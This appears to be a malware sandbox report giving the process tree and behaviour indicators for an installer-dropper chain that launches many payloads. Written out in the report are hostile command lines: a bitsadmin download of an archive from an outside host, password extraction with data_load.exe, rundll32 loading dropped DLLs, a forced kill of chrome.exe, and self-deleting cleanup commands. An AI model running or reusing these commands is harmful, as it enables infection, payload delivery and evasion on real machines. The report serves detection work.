pid Process 1912 ultramediaburner.tmp 1912 ultramediaburner.tmp 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe 1688 Suxymovule.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 2984 Process not Found -
Suspicious behavior: MapViewOfSection 42 IoCs
pid Process 4224 MicrosoftEdgeCP.exe 4224 MicrosoftEdgeCP.exe 5572 toolspab1.exe 4648 c7ae36fa.exe 2984 Process not Found 2984 Process not Found 2984 Process not Found 2984 Process not Found 2984 Process not Found 2984 Process not Found 2984 Process not Found 2984 Process not Found 2984 Process not Found 2984 Process not Found 2984 Process not Found 2984 Process not Found 2984 Process not Found 2984 Process not Found 2984 Process not Found 2984 Process not Found 2984 Process not Found 2984 Process not Found 4812 iefivda 748 sgfivda 4700 explorer.exe 4700 explorer.exe 5404 explorer.exe 5404 explorer.exe 5404 explorer.exe 5404 explorer.exe 4224 explorer.exe 4224 explorer.exe 4224 explorer.exe 4224 explorer.exe 4700 explorer.exe 4700 explorer.exe 4664 MicrosoftEdgeCP.exe 4664 MicrosoftEdgeCP.exe 5848 iefivda 4604 sgfivda 4508 iefivda 384 sgfivda -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3600 Ultra.exe Token: SeDebugPrivilege 2808 Lerawaesoqy.exe Token: SeDebugPrivilege 1688 Suxymovule.exe Token: SeDebugPrivilege 4252 MicrosoftEdge.exe Token: SeDebugPrivilege 4252 MicrosoftEdge.exe Token: SeDebugPrivilege 4252 MicrosoftEdge.exe Token: SeDebugPrivilege 4252 MicrosoftEdge.exe Token: SeDebugPrivilege 1804 MicrosoftEdgeCP.exe Token: SeDebugPrivilege 1804 MicrosoftEdgeCP.exe Token: SeDebugPrivilege 1804 MicrosoftEdgeCP.exe Token: SeDebugPrivilege 1804 MicrosoftEdgeCP.exe Token: SeDebugPrivilege 4696 Conhost.exe Token: SeDebugPrivilege 4696 Conhost.exe Token: SeTcbPrivilege 3088 svchost.exe Token: SeDebugPrivilege 4696 Conhost.exe Token: SeDebugPrivilege 4696 Conhost.exe Token: SeDebugPrivilege 4696 Conhost.exe Token: SeDebugPrivilege 4696 Conhost.exe Token: SeAuditPrivilege 2536 svchost.exe Token: SeDebugPrivilege 4696 Conhost.exe Token: SeDebugPrivilege 4696 Conhost.exe Token: SeDebugPrivilege 4696 Conhost.exe Token: SeDebugPrivilege 4696 Conhost.exe Token: SeDebugPrivilege 4696 Conhost.exe Token: SeDebugPrivilege 4696 Conhost.exe Token: SeAuditPrivilege 2536 svchost.exe Token: SeDebugPrivilege 4696 Conhost.exe Token: SeAssignPrimaryTokenPrivilege 2780 svchost.exe Token: SeIncreaseQuotaPrivilege 2780 svchost.exe Token: SeSecurityPrivilege 2780 svchost.exe Token: SeTakeOwnershipPrivilege 2780 svchost.exe Token: SeLoadDriverPrivilege 2780 svchost.exe Token: SeSystemtimePrivilege 2780 svchost.exe Token: SeBackupPrivilege 2780 svchost.exe Token: SeRestorePrivilege 2780 svchost.exe Token: SeShutdownPrivilege 2780 svchost.exe Token: SeSystemEnvironmentPrivilege 2780 svchost.exe Token: SeUndockPrivilege 2780 svchost.exe Token: SeManageVolumePrivilege 2780 svchost.exe Token: SeAuditPrivilege 2536 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2780 svchost.exe Token: SeIncreaseQuotaPrivilege 2780 svchost.exe Token: SeSecurityPrivilege 2780 svchost.exe Token: SeTakeOwnershipPrivilege 2780 svchost.exe Token: SeLoadDriverPrivilege 2780 svchost.exe Token: SeSystemtimePrivilege 2780 svchost.exe Token: SeBackupPrivilege 2780 svchost.exe Token: SeRestorePrivilege 2780 svchost.exe Token: SeShutdownPrivilege 2780 svchost.exe Token: SeSystemEnvironmentPrivilege 2780 svchost.exe Token: SeUndockPrivilege 2780 svchost.exe Token: SeManageVolumePrivilege 2780 svchost.exe Token: SeAuditPrivilege 2536 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2780 svchost.exe Token: SeIncreaseQuotaPrivilege 2780 svchost.exe Token: SeSecurityPrivilege 2780 svchost.exe Token: SeTakeOwnershipPrivilege 2780 svchost.exe Token: SeLoadDriverPrivilege 2780 svchost.exe Token: SeSystemtimePrivilege 2780 svchost.exe Token: SeBackupPrivilege 2780 svchost.exe Token: SeRestorePrivilege 2780 svchost.exe Token: SeShutdownPrivilege 2780 svchost.exe Token: SeSystemEnvironmentPrivilege 2780 svchost.exe Token: SeUndockPrivilege 2780 svchost.exe -
Suspicious use of FindShellTrayWindow 5 IoCs
pid Process 1912 ultramediaburner.tmp 2984 Process not Found 2984 Process not Found 2984 Process not Found 2984 Process not Found -
Suspicious use of SetWindowsHookEx 10 IoCs
pid Process 4252 MicrosoftEdge.exe 4224 MicrosoftEdgeCP.exe 4224 MicrosoftEdgeCP.exe 1628 google-game.exe 1628 google-game.exe 4488 RegWorkshop.exe 3860 OpenWith.exe 4404 MicrosoftEdge.exe 4664 MicrosoftEdgeCP.exe 4664 MicrosoftEdgeCP.exe -
Suspicious use of UnmapMainImage 1 IoCs
pid Process 2984 Process not Found -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3172 wrote to memory of 1456 3172 Install.exe 75 PID 3172 wrote to memory of 1456 3172 Install.exe 75 PID 3172 wrote to memory of 1456 3172 Install.exe 75 PID 1456 wrote to memory of 3600 1456 Install.tmp 77 PID 1456 wrote to memory of 3600 1456 Install.tmp 77 PID 3600 wrote to memory of 3856 3600 Ultra.exe 80 PID 3600 wrote to memory of 3856 3600 Ultra.exe 80 PID 3600 wrote to memory of 3856 3600 Ultra.exe 80 PID 3856 wrote to memory of 1912 3856 ultramediaburner.exe 81 PID 3856 wrote to memory of 1912 3856 ultramediaburner.exe 81 PID 3856 wrote to memory of 1912 3856 ultramediaburner.exe 81 PID 1912 wrote to memory of 2788 1912 ultramediaburner.tmp 83 PID 1912 wrote to memory of 2788 1912 ultramediaburner.tmp 83 PID 3600 wrote to memory of 2808 3600 Ultra.exe 82 PID 3600 wrote to memory of 2808 3600 Ultra.exe 82 PID 3600 wrote to memory of 1688 3600 Ultra.exe 84 PID 3600 wrote to memory of 1688 3600 Ultra.exe 84 PID 1688 wrote to memory of 4500 1688 Suxymovule.exe 90 PID 1688 wrote to memory of 4500 1688 Suxymovule.exe 90 PID 4500 wrote to memory of 4776 4500 cmd.exe 92 PID 4500 wrote to memory of 4776 4500 cmd.exe 92 PID 4500 wrote to memory of 4776 4500 cmd.exe 92 PID 1688 wrote to memory of 4976 1688 Suxymovule.exe 95 PID 1688 wrote to memory of 4976 1688 Suxymovule.exe 95 PID 4976 wrote to memory of 1628 4976 cmd.exe 97 PID 4976 wrote to memory of 1628 4976 cmd.exe 97 PID 4976 wrote to memory of 1628 4976 cmd.exe 97 PID 1628 wrote to memory of 4696 1628 google-game.exe 163 PID 1628 wrote to memory of 4696 1628 google-game.exe 163 PID 1628 wrote to memory of 4696 1628 google-game.exe 163 PID 4224 wrote to memory of 1804 4224 MicrosoftEdgeCP.exe 94 PID 4224 wrote to memory of 1804 4224 MicrosoftEdgeCP.exe 94 PID 4224 wrote to memory of 1804 4224 MicrosoftEdgeCP.exe 94 PID 4696 wrote to memory of 3088 4696 Conhost.exe 70 PID 4696 wrote to memory of 2696 4696 Conhost.exe 32 PID 3088 wrote to memory of 4592 3088 svchost.exe 99 PID 3088 wrote to memory of 4592 3088 svchost.exe 99 PID 3088 wrote to memory of 4592 3088 svchost.exe 99 PID 4696 wrote to memory of 1008 4696 Conhost.exe 62 PID 4696 wrote to memory of 2528 4696 Conhost.exe 35 PID 4696 wrote to memory of 2536 4696 Conhost.exe 34 PID 4696 wrote to memory of 1140 4696 Conhost.exe 56 PID 4696 wrote to memory of 1084 4696 Conhost.exe 10 PID 1688 wrote to memory of 5044 1688 Suxymovule.exe 101 PID 1688 wrote to memory of 5044 1688 Suxymovule.exe 101 PID 4696 wrote to memory of 1420 4696 Conhost.exe 12 PID 4696 wrote to memory of 1948 4696 Conhost.exe 45 PID 4696 wrote to memory of 1176 4696 Conhost.exe 55 PID 4696 wrote to memory of 1412 4696 Conhost.exe 53 PID 4696 wrote to memory of 2780 4696 Conhost.exe 28 PID 4696 wrote to memory of 2800 4696 Conhost.exe 27 PID 4224 wrote to memory of 1804 4224 MicrosoftEdgeCP.exe 94 PID 4224 wrote to memory of 1804 4224 MicrosoftEdgeCP.exe 94 PID 4224 wrote to memory of 1804 4224 MicrosoftEdgeCP.exe 94 PID 5044 wrote to memory of 4752 5044 cmd.exe 103 PID 5044 wrote to memory of 4752 5044 cmd.exe 103 PID 5044 wrote to memory of 4752 5044 cmd.exe 103 PID 1688 wrote to memory of 5996 1688 Suxymovule.exe 154 PID 1688 wrote to memory of 5996 1688 Suxymovule.exe 154 PID 5996 wrote to memory of 5624 5996 powershell.exe 109 PID 5996 wrote to memory of 5624 5996 powershell.exe 109 PID 5996 wrote to memory of 5624 5996 powershell.exe 109 PID 5624 wrote to memory of 5212 5624 askinstall39.exe 193 PID 5624 wrote to memory of 5212 5624 askinstall39.exe 193
Processes
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Schedule1⤵
- Drops file in System32 directory
PID:1084 -
C:\Users\Admin\AppData\Roaming\iefivdaC:\Users\Admin\AppData\Roaming\iefivda2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5460 -
C:\Users\Admin\AppData\Roaming\iefivdaC:\Users\Admin\AppData\Roaming\iefivda3⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:4812
-
-
-
C:\Users\Admin\AppData\Roaming\sgfivdaC:\Users\Admin\AppData\Roaming\sgfivda2⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:748
-
-
C:\Users\Admin\AppData\Roaming\iefivdaC:\Users\Admin\AppData\Roaming\iefivda2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5376 -
C:\Users\Admin\AppData\Roaming\iefivdaC:\Users\Admin\AppData\Roaming\iefivda3⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:5848
-
-
-
C:\Users\Admin\AppData\Roaming\sgfivdaC:\Users\Admin\AppData\Roaming\sgfivda2⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:4604
-
-
C:\Users\Admin\AppData\Roaming\iefivdaC:\Users\Admin\AppData\Roaming\iefivda2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5652 -
C:\Users\Admin\AppData\Roaming\iefivdaC:\Users\Admin\AppData\Roaming\iefivda3⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:4508
-
-
-
C:\Users\Admin\AppData\Roaming\sgfivdaC:\Users\Admin\AppData\Roaming\sgfivda2⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:384
-
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s SENS1⤵PID:1420
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s WpnService1⤵PID:2800
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2780
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Browser1⤵PID:2696
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s LanmanServer1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2536
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s IKEEXT1⤵PID:2528
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection1⤵PID:1948
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s UserManager1⤵PID:1412
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Themes1⤵PID:1176
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ProfSvc1⤵PID:1140
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s gpsvc1⤵PID:1008
-
C:\Users\Admin\AppData\Local\Temp\Install.exe"C:\Users\Admin\AppData\Local\Temp\Install.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:3172 -
C:\Users\Admin\AppData\Local\Temp\is-PUKJQ.tmp\Install.tmp"C:\Users\Admin\AppData\Local\Temp\is-PUKJQ.tmp\Install.tmp" /SL5="$30158,235791,152064,C:\Users\Admin\AppData\Local\Temp\Install.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1456 -
C:\Users\Admin\AppData\Local\Temp\is-8AUFF.tmp\Ultra.exe"C:\Users\Admin\AppData\Local\Temp\is-8AUFF.tmp\Ultra.exe" /S /UID=burnerch13⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3600 -
C:\Program Files\Windows Photo Viewer\SIGTLYJXRW\ultramediaburner.exe"C:\Program Files\Windows Photo Viewer\SIGTLYJXRW\ultramediaburner.exe" /VERYSILENT4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3856 -
C:\Users\Admin\AppData\Local\Temp\is-BIU9D.tmp\ultramediaburner.tmp"C:\Users\Admin\AppData\Local\Temp\is-BIU9D.tmp\ultramediaburner.tmp" /SL5="$70062,281924,62464,C:\Program Files\Windows Photo Viewer\SIGTLYJXRW\ultramediaburner.exe" /VERYSILENT5⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:1912 -
C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe"C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu6⤵
- Executes dropped EXE
PID:2788
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a1-03660-68e-77a98-f9275e6b84921\Lerawaesoqy.exe"C:\Users\Admin\AppData\Local\Temp\a1-03660-68e-77a98-f9275e6b84921\Lerawaesoqy.exe"4⤵
- Executes dropped EXE
- Checks computer location settings
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
PID:2808
-
-
C:\Users\Admin\AppData\Local\Temp\5b-34ccd-3a6-5abb0-3de717bf45533\Suxymovule.exe"C:\Users\Admin\AppData\Local\Temp\5b-34ccd-3a6-5abb0-3de717bf45533\Suxymovule.exe"4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1688 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\u2z4ickn.jee\instEU.exe & exit5⤵
- Suspicious use of WriteProcessMemory
PID:4500 -
C:\Users\Admin\AppData\Local\Temp\u2z4ickn.jee\instEU.exeC:\Users\Admin\AppData\Local\Temp\u2z4ickn.jee\instEU.exe6⤵
- Executes dropped EXE
PID:4776
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\k5sbrdiu.tzg\google-game.exe & exit5⤵
- Suspicious use of WriteProcessMemory
PID:4976 -
C:\Users\Admin\AppData\Local\Temp\k5sbrdiu.tzg\google-game.exeC:\Users\Admin\AppData\Local\Temp\k5sbrdiu.tzg\google-game.exe6⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1628 -
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Program Files\install.dll",install7⤵PID:4696
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\43axk0ce.tyc\md1_1eaf.exe & exit5⤵
- Suspicious use of WriteProcessMemory
PID:5044 -
C:\Users\Admin\AppData\Local\Temp\43axk0ce.tyc\md1_1eaf.exeC:\Users\Admin\AppData\Local\Temp\43axk0ce.tyc\md1_1eaf.exe6⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:4752
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\uogr1eqs.zjf\askinstall39.exe & exit5⤵PID:5996
-
C:\Users\Admin\AppData\Local\Temp\uogr1eqs.zjf\askinstall39.exeC:\Users\Admin\AppData\Local\Temp\uogr1eqs.zjf\askinstall39.exe6⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:5624 -
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe7⤵PID:5212
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe8⤵
- Kills process with taskkill
PID:3984
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\koxtajok.m1m\y1.exe & exit5⤵PID:5908
-
C:\Users\Admin\AppData\Local\Temp\koxtajok.m1m\y1.exeC:\Users\Admin\AppData\Local\Temp\koxtajok.m1m\y1.exe6⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5468 -
C:\Users\Admin\AppData\Local\Temp\Ck97jVApzc.exe"C:\Users\Admin\AppData\Local\Temp\Ck97jVApzc.exe"7⤵
- Executes dropped EXE
- Modifies system certificate store
PID:4520 -
C:\Users\Admin\AppData\Roaming\1619442840029.exe"C:\Users\Admin\AppData\Roaming\1619442840029.exe" /sjson "C:\Users\Admin\AppData\Roaming\1619442840029.txt"8⤵
- Executes dropped EXE
PID:5744
-
-
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\Ck97jVApzc.exe"8⤵PID:5040
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 39⤵
- Runs ping.exe
PID:4112
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\koxtajok.m1m\y1.exe"7⤵PID:5472
-
C:\Windows\SysWOW64\timeout.exetimeout /T 10 /NOBREAK8⤵
- Delays execution with timeout.exe
PID:5688
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\lqkx14cf.1jn\SunLabsPlayer.exe /S & exit5⤵PID:5064
-
C:\Users\Admin\AppData\Local\Temp\lqkx14cf.1jn\SunLabsPlayer.exeC:\Users\Admin\AppData\Local\Temp\lqkx14cf.1jn\SunLabsPlayer.exe /S6⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
PID:5520 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nszAA61.tmp\tempfile.ps1"7⤵PID:6028
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nszAA61.tmp\tempfile.ps1"7⤵PID:1808
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nszAA61.tmp\tempfile.ps1"7⤵PID:2336
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nszAA61.tmp\tempfile.ps1"7⤵
- Suspicious use of WriteProcessMemory
PID:5996
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nszAA61.tmp\tempfile.ps1"7⤵PID:5512
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nszAA61.tmp\tempfile.ps1"7⤵PID:5176
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nszAA61.tmp\tempfile.ps1"7⤵
- Checks for any installed AV software in registry
PID:5144
-
-
C:\Windows\SysWOW64\bitsadmin.exe"bitsadmin" /Transfer helper http://sunlabsinternational.com/data/data.7z C:\zip.7z7⤵
- Download via BitsAdmin
PID:2892 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵
- Loads dropped DLL
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4696
-
-
-
C:\Program Files (x86)\lighteningplayer\data_load.exe"C:\Program Files (x86)\lighteningplayer\data_load.exe" -piXr3DMrthC8Tws4 -y x C:\zip.7z -o"C:\Program Files\temp_files\"7⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:5000
-
-
C:\Program Files (x86)\lighteningplayer\data_load.exe"C:\Program Files (x86)\lighteningplayer\data_load.exe" -peMb4BpZVBNLXLM1 -y x C:\zip.7z -o"C:\Program Files\temp_files\"7⤵
- Executes dropped EXE
PID:4836 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵
- Executes dropped EXE
PID:5900
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nszAA61.tmp\tempfile.ps1"7⤵PID:6136
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵PID:5212
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nszAA61.tmp\tempfile.ps1"7⤵PID:5936
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nszAA61.tmp\tempfile.ps1"7⤵PID:4364
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nszAA61.tmp\tempfile.ps1"7⤵PID:5288
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nszAA61.tmp\tempfile.ps1"7⤵PID:700
-
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\System32\rundll32.exe "C:\Program Files (x86)\SBmmuMEA\SBmmuMEA.dll" SBmmuMEA7⤵
- Loads dropped DLL
PID:4228 -
C:\Windows\system32\rundll32.exeC:\Windows\System32\rundll32.exe "C:\Program Files (x86)\SBmmuMEA\SBmmuMEA.dll" SBmmuMEA8⤵
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
PID:4216
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nszAA61.tmp\tempfile.ps1"7⤵
- Drops file in Program Files directory
PID:6016
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nszAA61.tmp\tempfile.ps1"7⤵
- Drops file in Program Files directory
PID:5948
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nszAA61.tmp\tempfile.ps1"7⤵PID:5676
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nszAA61.tmp\tempfile.ps1"7⤵PID:2868
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nszAA61.tmp\tempfile.ps1"7⤵PID:4888
-
-
C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe"C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe" C:\Program Files (x86)\lighteningplayer\plugins\ /SILENT7⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4616
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\cp5eqm5k.yjr\inst.exe & exit5⤵PID:4600
-
C:\Users\Admin\AppData\Local\Temp\cp5eqm5k.yjr\inst.exeC:\Users\Admin\AppData\Local\Temp\cp5eqm5k.yjr\inst.exe6⤵PID:5900
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\lf5g1wpl.avo\GcleanerWW.exe /mixone & exit5⤵PID:5940
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\uitbq4km.xd5\toolspab1.exe & exit5⤵PID:5876
-
C:\Users\Admin\AppData\Local\Temp\uitbq4km.xd5\toolspab1.exeC:\Users\Admin\AppData\Local\Temp\uitbq4km.xd5\toolspab1.exe6⤵PID:5020
-
C:\Users\Admin\AppData\Local\Temp\uitbq4km.xd5\toolspab1.exeC:\Users\Admin\AppData\Local\Temp\uitbq4km.xd5\toolspab1.exe7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:5572
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\xzpmfgm0.4tu\app.exe /8-2222 & exit5⤵PID:5960
-
C:\Users\Admin\AppData\Local\Temp\xzpmfgm0.4tu\app.exeC:\Users\Admin\AppData\Local\Temp\xzpmfgm0.4tu\app.exe /8-22226⤵
- Executes dropped EXE
PID:5816 -
C:\Users\Admin\AppData\Local\Temp\xzpmfgm0.4tu\app.exe"C:\Users\Admin\AppData\Local\Temp\xzpmfgm0.4tu\app.exe" /8-22227⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:4348
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\omboczc1.g10\c7ae36fa.exe & exit5⤵PID:5232
-
C:\Users\Admin\AppData\Local\Temp\omboczc1.g10\c7ae36fa.exeC:\Users\Admin\AppData\Local\Temp\omboczc1.g10\c7ae36fa.exe6⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:4648
-
-
-
-
-
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s BITS1⤵
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3088 -
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService2⤵
- Drops file in System32 directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Modifies registry class
PID:4592
-
-
